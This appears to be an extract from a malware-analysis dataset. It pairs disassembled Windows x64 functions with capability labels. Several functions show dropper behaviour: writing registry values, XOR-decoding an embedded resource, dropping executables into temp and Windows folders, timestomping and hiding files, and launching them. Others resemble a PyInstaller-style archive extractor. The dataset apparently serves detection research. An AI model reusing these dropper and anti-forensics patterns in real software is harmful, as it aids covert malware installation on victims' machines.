joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002b1c
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x280], rax
and dword [rsp + 0x60], 0
mov dword [rsp + 0x64], edx
lea rcx, [rsp + 0x70]
lea rdx, [0x1400056c8]
mov r8d, 0x34
call sub.MSVCR90.dll_memcpy
lea rcx, [rsp + 0xa4]
xor edx, edx
mov r8d, 0x1d4
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x50]
mov rdi, 0xffffffff80000002
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x70]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140002bdf
lea rax, [rsp + 0x68]
lea rdx, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov rcx, rdi
mov dword [rsp + 0x28], 0x20006
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140002d05
mov rcx, qword [rsp + 0x50]
mov esi, 4
lea rax, [rsp + 0x5c]
lea rdx, str.VERSION_Value
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x5c], 0x7d8
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
or rcx, 0xffffffffffffffff
lea rdx, [0x140005700]
xor eax, eax
mov rdi, rdx
lea r9d, [rsi - 3]
repne scasw ax, word [rdi]
xor r8d, r8d
not rcx
lea eax, [rcx + rcx + 2]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdx
lea rdx, [0x1400057f0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
or rcx, 0xffffffffffffffff
lea rdx, str.ff3487rbea4775grsn9_.uvu_a35_7754_bml_22114i81
xor eax, eax
mov rdi, rdx
lea r9d, [rsi - 3]
repne scasw ax, word [rdi]
xor r8d, r8d
not rcx
lea eax, [rcx + rcx + 2]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdx
lea rdx, [0x140005810]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x60]
lea rdx, [0x140005830]
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x64]
lea rdx, str.DNS_Value
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call fcn.140002a64
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
lea rdx, str.SubNet_Value
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140002d15
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140003660
mov rsi, qword [rsp + 0x2a0]
add rsp, 0x290
pop rdi
ret
Function at 0x140002d38
Capabilities:
Set file attributes
Timestomp file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
xor esi, esi
xor r9d, r9d
mov edx, 0xc0000000
mov qword [rax - 0x28], rsi
lea r8d, [rsi + 3]
mov dword [rax - 0x30], 0x2000000
mov dword [rax - 0x38], r8d
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140002d7e
xor eax, eax
jmp 0x140002e16
mov eax, 0x7d9
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
mov word [rsp + 0x40], ax
mov eax, 0xb
mov word [rsp + 0x44], si
mov word [rsp + 0x42], ax
mov eax, 0x15
mov word [rsp + 0x4e], si
mov word [rsp + 0x46], ax
mov eax, 0x12
mov word [rsp + 0x48], ax
mov eax, 7
mov word [rsp + 0x4a], ax
mov eax, 5
mov word [rsp + 0x4c], ax
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea r9, [rsp + 0x68]
lea rdx, [rsp + 0x68]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, 1
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret

Function at 0x140002e28
Capabilities:
Delete file
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rsi
push rdi
sub rsp, 0x360
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x350], rax
lea rcx, [rsp + 0x31]
xor esi, esi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], sil
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
mov rax, qword [0x140005880]
lea rcx, [rsp + 0x30]
mov qword [rdi - 1], rax
mov rax, qword [0x140005888]
mov qword [rdi + 7], rax
movzx eax, word [0x140005890]
mov word [rdi + 0xf], ax
call qword [sym.imp.MSVCR90.dll_remove]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x142]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x140], si
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x140]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea r8, [0x140005898]
lea rcx, [rsp + 0x140]
mov edx, 0x104
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea r8, [rsp + 0x20]
lea rdx, str.IDR_BINARY
mov ecx, 0x95
mov dword [rsp + 0x20], esi
call fcn.14000110c
mov rdi, rax
cmp rax, rsi
je 0x140002f61
mov r8d, dword [rsp + 0x20]
cmp r8d, esi
jle 0x140002f3c
mov rcx, rax
mov rdx, r8
xor byte [rcx], 0x99
inc rcx
sub rdx, 1
jne 0x140002f30
lea rcx, [rsp + 0x140]
mov rdx, rax
call fcn.1400011e4
lea rcx, [rsp + 0x140]
call fcn.140002d38
mov rcx, rdi
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
xor eax, eax
mov rcx, qword [rsp + 0x350]
xor rcx, rsp
call fcn.140003660
mov rsi, qword [rsp + 0x370]
add rsp, 0x360
pop rdi
ret
Function at 0x140002fe0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x460
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov ebx, 0x206
lea rcx, [rsp + 0x242]
xor edi, edi
mov r8, rbx
xor edx, edx
mov word [rsp + 0x240], di
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x32]
mov r8, rbx
xor edx, edx
mov word [rsp + 0x30], di
call sub.MSVCR90.dll_memset
mov ebx, 0x104
lea rdx, [rsp + 0x240]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [rsp + 0x30]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, str.ssdx64.exe
lea rcx, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea r8, [rsp + 0x20]
lea rdx, str.IDR_BINARY
lea ecx, [rbx - 0x6f]
mov dword [rsp + 0x20], edi
call fcn.14000110c
mov rbx, rax
cmp rax, rdi
je 0x1400030b7
mov r8d, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.1400011e4
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x30]
call fcn.1400015c4
mov rcx, rbx
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140003660
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret

Function at 0x1400030dc
Capabilities:
Create process on windows
Get common file path

Disassembly:
push rdi
sub rsp, 0x460
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x450], rax
lea rcx, [rsp + 0x242]
xor edi, edi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x240], di
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], di
call sub.MSVCR90.dll_memset
lea ecx, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x240]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov r11, rdi
movzx eax, word [rsp + r11 + 0x240]
add r11, 2
mov word [rsp + r11 + 0x2e], ax
cmp ax, di
jne 0x14000314c
lea r8, str.sc.exe
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea rdx, [rsp + 0x30]
mov r8d, 1
mov ecx, 0x96
call fcn.14000126c
lea r8, [rsp + 0x30]
lea rdx, [0x1400058d8]
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140003660
add rsp, 0x460
pop rdi
ret
Function at 0x1400031cc
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x460
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov ebx, 0x206
lea rcx, [rsp + 0x242]
xor edi, edi
mov r8, rbx
xor edx, edx
mov word [rsp + 0x240], di
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x32]
mov r8, rbx
xor edx, edx
mov word [rsp + 0x30], di
call sub.MSVCR90.dll_memset
mov ebx, 0x104
lea rcx, [rsp + 0x240]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov r11, rdi
movzx eax, word [rsp + r11 + 0x240]
add r11, 2
mov word [rsp + r11 + 0x2e], ax
cmp ax, di
jne 0x140003238
lea r8, [0x140005440]
lea rcx, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea r8, str.WMSysPrs.exe
lea rcx, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea rdx, [rsp + 0x30]
mov r8d, 1
mov ecx, 0xb2
call fcn.14000126c
cmp eax, edi
je 0x14000329d
lea rcx, [rsp + 0x30]
call fcn.140002d38
lea r8, [rsp + 0x30]
lea rdx, [0x1400058d8]
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140002fe0
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140003660
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret

Function at 0x1400032f0
Capabilities:
Set file attributes
Timestomp file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
xor esi, esi
xor r9d, r9d
mov edx, 0xc0000000
mov qword [rax - 0x28], rsi
lea r8d, [rsi + 3]
mov dword [rax - 0x30], 0x2000000
mov dword [rax - 0x38], r8d
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140003336
xor eax, eax
jmp 0x1400033c0
mov ecx, 7
mov eax, 0x7e1
lea rdx, [rsp + 0x68]
mov word [rsp + 0x40], ax
lea eax, [rcx + 0xf]
mov word [rsp + 0x42], cx
mov word [rsp + 0x46], ax
lea eax, [rcx - 2]
mov word [rsp + 0x4a], cx
lea rcx, [rsp + 0x40]
mov word [rsp + 0x44], si
mov word [rsp + 0x4e], si
mov word [rsp + 0x48], ax
mov word [rsp + 0x4c], ax
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea r9, [rsp + 0x68]
lea rdx, [rsp + 0x68]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, 1
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x1400033d0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push rdi
sub rsp, 0x250
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0x32]
xor edi, edi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], di
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, str.reRx.exe
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea r8d, [rdi + 1]
lea rdx, [rsp + 0x30]
mov ecx, 0xb8
call fcn.14000126c
cmp eax, edi
je 0x14000344c
lea rcx, [rsp + 0x30]
call fcn.1400032f0
lea r8, [rsp + 0x30]
lea rdx, [0x1400058d8]
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140003660
add rsp, 0x250
pop rdi
ret

Function at 0x140003488
Capabilities:
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x480
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x470], rax
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x200
call sub.MSVCR90.dll_memset
xor r9d, r9d
lea rdx, [rsp + 0x60]
lea r8d, [r9 + 8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rcx, [rsp + 0x60]
mov edx, 0x5c
call qword [sym.imp.MSVCR90.dll_wcsrchr]
xor ebx, ebx
cmp rax, rbx
je 0x1400034e7
mov word [rax], bx
lea rcx, [rsp + 0x260]
lea rdx, [0x140005920]
mov r8d, 0x34
call sub.MSVCR90.dll_memcpy
lea rcx, [rsp + 0x294]
xor edx, edx
mov r8d, 0x1d4
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x50]
mov rdi, 0xffffffff80000002
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x260]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
je 0x140003585
lea rax, [rsp + 0x58]
lea rdx, [rsp + 0x260]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov rcx, rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmp eax, ebx
jne 0x1400035c3
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x60]
repne scasw ax, word [rdi]
lea rdx, [0x140005958]
mov r9d, 1
not rcx
xor r8d, r8d
lea eax, [rcx + rcx + 2]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
cmp rcx, rbx
je 0x1400035d3
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.140003660
mov rbx, qword [rsp + 0x490]
add rsp, 0x480
pop rdi
ret
Function at 0x140003bf3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140008020]
jne 0x14000367a
rol rcx, 0x10
test cx, 0xffff
jne 0x140003676
repz ret
ror rcx, 0x10
jmp 0x140003b4c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140008ca0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140008d98]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140003bd1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140008ca0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140003bf3
mov rax, qword [rsp + 0x88]
mov qword [0x140008d98], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140008d38], rax
mov rax, qword [0x140008d98]
mov qword [0x140008c10], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140008d20], rax
mov dword [0x140008c00], 0xc0000409
mov dword [0x140008c04], 1
mov rax, qword [0x140008020]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140008028]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140008c98], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400053f0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140008c98], 0
jne 0x140003c7a
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x401970
Capabilities:
Read file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbp, rcx
mov rcx, qword [rcx]
mov r12, rdx
test rcx, rcx
je 0x401a70
mov edx, dword [r12 + 4]
xor r8d, r8d
add edx, dword [rbp + 8]
call fcn.0040e570
test eax, eax
js 0x401ab8
mov esi, dword [r12 + 0xc]
mov rcx, rsi
call sub.msvcrt.dll_malloc
mov r13, rax
test rax, rax
je 0x401ad2
cmp byte [r12 + 0x10], 1
je 0x401a50
mov rdi, rax
test rsi, rsi
jne 0x4019e0
jmp 0x401a29
add rdi, rbx
sub rsi, rbx
je 0x401a29
mov ebx, 0x2000
mov r9, qword [rbp]
mov r8d, 1
mov rcx, rdi
cmp rsi, rbx
cmovbe rbx, rsi
mov rdx, rbx
call sub.msvcrt.dll_fread
test rax, rax
jne 0x4019d8
lea r8, [r12 + 0x12]
lea rdx, str.Failed_to_extract__s:_failed_to_read_data_chunk__n
lea rcx, str.fread
call fcn.00402cd0
mov rcx, r13
call sub.msvcrt.dll_free
xor r13d, r13d
mov rcx, qword [rbp]
test rcx, rcx
je 0x401a3f
call sub.msvcrt.dll_fclose
mov qword [rbp], 0
mov rax, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
xor r8d, r8d
mov r9, rax
mov rdx, r12
mov rcx, rbp
call fcn.00401590
test eax, eax
je 0x401a29
jmp 0x401a1e
lea rcx, [rbp + 0x78]
lea rdx, [0x00418150]
call fcn.00404210
mov qword [rbp], rax
mov rcx, rax
test rax, rax
jne 0x40198e
lea rdx, [r12 + 0x12]
lea rcx, str.Failed_to_extract__s:_failed_to_open_archive_file__n
call fcn.00402b50
xor r13d, r13d
mov rax, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea r8, [r12 + 0x12]
lea rdx, str.Failed_to_extract__s:_failed_to_seek_to_the_entrys_data__n
lea rcx, str.fseek
call fcn.00402cd0
jmp 0x401aa1
mov r9d, esi
lea r8, [r12 + 0x12]
lea rdx, str.Failed_to_extract__s:_failed_to_allocate_data_buffer___u_bytes___n
lea rcx, str.malloc
call fcn.00402cd0
jmp 0x401a26
Function at 0x401b00
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rdi, rcx
mov rbx, rdx
call fcn.00407290
cmp eax, 0xffffffff
je 0x401cce
lea r13, [rbx + 0x12]
lea rcx, [rdi + 0x3078]
mov rdx, r13
call fcn.00407510
mov r12, rax
test rax, rax
je 0x401cb8
mov rcx, qword [rdi]
test rcx, rcx
je 0x401c40
mov edx, dword [rbx + 4]
xor r8d, r8d
add edx, dword [rdi + 8]
call fcn.0040e570
test eax, eax
js 0x401ca0
cmp byte [rbx + 0x10], 1
je 0x401c00
mov ecx, 0x2000
call sub.msvcrt.dll_malloc
mov rbp, rax
test rax, rax
je 0x401cd8
mov esi, dword [rbx + 0xc]
test rsi, rsi
jne 0x401bb6
jmp 0x401c78
mov r9, r12
mov r8d, 1
mov rdx, rbx
mov rcx, rbp
call sub.msvcrt.dll_fwrite
test rax, rax
je 0x401c80
sub rsi, rbx
je 0x401c78
mov ebx, 0x2000
mov r9, qword [rdi]
mov r8d, 1
mov rcx, rbp
cmp rsi, rbx
cmovbe rbx, rsi
mov rdx, rbx
call sub.msvcrt.dll_fread
test rax, rax
jne 0x401b90
mov r8, r13
lea rdx, str.Failed_to_extract__s:_failed_to_read_data_chunk__n
lea rcx, str.fread
call fcn.00402cd0
mov ebx, 0xffffffff
mov rcx, rbp
call sub.msvcrt.dll_free
jmp 0x401c13
mov rdx, rbx
xor r9d, r9d
mov r8, r12
mov rcx, rdi
call fcn.00401590
mov ebx, eax
mov rcx, qword [rdi]
test rcx, rcx
je 0x401c27
call sub.msvcrt.dll_fclose
mov qword [rdi], 0
mov rcx, r12
call sub.msvcrt.dll_fclose
mov eax, ebx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea rcx, [rdi + 0x78]
lea rdx, [0x00418150]
call fcn.00404210
mov qword [rdi], rax
mov rcx, rax
test rax, rax
jne 0x401b4b
mov rdx, r13
lea rcx, str.Failed_to_extract__s:_failed_to_open_archive_file__n
call fcn.00402b50
mov ebx, 0xffffffff
jmp 0x401c13
xor ebx, ebx
jmp 0x401bf6
mov r8, r13
lea rdx, str.Failed_to_extract__s:_failed_to_write_data_chunk__n
lea rcx, str.fwrite
call fcn.00402cd0
jmp 0x401bf1
mov r8, r13
lea rdx, str.Failed_to_extract__s:_failed_to_seek_to_the_entrys_data__n
lea rcx, str.fseek
call fcn.00402cd0
jmp 0x401c6e
mov r8, r13
lea rdx, str.Failed_to_extract__s:_failed_to_open_target_file__n
lea rcx, str.fopen
call fcn.00402cd0
mov ebx, 0xffffffff
jmp 0x401c2f
mov r8, r13
lea rdx, str.Failed_to_extract__s:_failed_to_allocate_temporary_buffer__n
lea rcx, str.malloc
call fcn.00402cd0
jmp 0x401c6e
Function at 0x401d00
Capabilities:
Read file on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rdi, rcx
mov rcx, qword [rcx]
test rcx, rcx
je 0x401ea0
mov rax, qword [0x0041e400]
mov r8d, 8
mov rdx, qword [rax]
mov qword [rsp + 0x28], rdx
shr rdx, 0x18
add edx, 0xc
mov byte [rsp + 0x2b], dl
lea rdx, [rsp + 0x28]
call fcn.00407be0
mov rbx, rax
test rax, rax
je 0x401edb
mov rcx, qword [rdi]
xor r8d, r8d
mov edx, eax
call fcn.0040e570
test eax, eax
js 0x401f05
mov r9, qword [rdi]
lea rcx, [rdi + 0x20]
mov r8d, 1
mov edx, 0x58
call sub.msvcrt.dll_fread
test rax, rax
je 0x401ec8
mov eax, dword [rdi + 0x28]
mov ecx, dword [rdi + 0x30]
add rbx, 0x58
xor r8d, r8d
mov dword [rdi + 0x507c], 0
mov edx, dword [rdi + 0x2c]
bswap eax
bswap ecx
mov dword [rdi + 0x28], eax
mov eax, eax
mov dword [rdi + 0x30], ecx
mov ecx, dword [rdi + 0x34]
sub rbx, rax
bswap edx
mov qword [rdi + 8], rbx
bswap ecx
mov dword [rdi + 0x2c], edx
add edx, ebx
mov dword [rdi + 0x34], ecx
mov dword [0x00421050], ecx
mov rcx, qword [rdi]
call fcn.0040e570
movsxd rbx, dword [rdi + 0x30]
mov rcx, rbx
call sub.msvcrt.dll_malloc
mov qword [rdi + 0x10], rax
mov rcx, rax
test rax, rax
je 0x401f1a
mov r9, qword [rdi]
mov r8d, 1
mov rdx, rbx
call sub.msvcrt.dll_fread
test rax, rax
je 0x401ee2
movsxd rax, dword [rdi + 0x30]
add rax, qword [rdi + 0x10]
mov qword [rdi + 0x18], rax
mov rcx, qword [rdi]
call sub.msvcrt.dll_ferror
mov ebx, eax
test eax, eax
jne 0x401ef7
mov rax, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
lea rsi, str.Cannot_read_Table_of_Contents._n
nop
cmp rax, r8
jae 0x401e78
mov ecx, dword [rax + 4]
mov edx, dword [rax]
bswap ecx
mov dword [rax + 4], ecx
mov ecx, dword [rax + 8]
bswap edx
mov dword [rax], edx
movsxd rdx, edx
bswap ecx
mov dword [rax + 8], ecx
mov ecx, dword [rax + 0xc]
bswap ecx
mov dword [rax + 0xc], ecx
add rax, rdx
cmp rax, qword [rdi + 0x10]
jae 0x401e30
mov rcx, rsi
call fcn.00402b50
mov rax, qword [rdi + 0x18]
mov r8, rax
cmp rax, r8
jb 0x401e35
nop dword [rax + rax]
mov rcx, qword [rdi]
test rcx, rcx
je 0x401e8c
call sub.msvcrt.dll_fclose
mov qword [rdi], 0
mov eax, ebx
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
lea rcx, [rdi + 0x78]
lea rdx, [0x00418150]
call fcn.00404210
mov qword [rdi], rax
mov rcx, rax
test rax, rax
jne 0x401d16
jmp 0x401edb
lea rdx, str.Failed_to_read_cookie__n
lea rcx, str.fread
call fcn.00402cd0
mov ebx, 0xffffffff
jmp 0x401e8c
lea rdx, str.Could_not_read_full_TOC__n
lea rcx, str.fread
call fcn.00402cd0
jmp 0x401edb
lea rcx, str.Error_on_file._n
call fcn.00402b50
jmp 0x401edb
lea rdx, str.Failed_to_seek_to_cookie_position__n
lea rcx, str.fseek
call fcn.00402cd0
jmp 0x401edb
lea rdx, str.Could_not_allocate_buffer_for_TOC__n
lea rcx, str.malloc
call fcn.00402cd0
jmp 0x401edb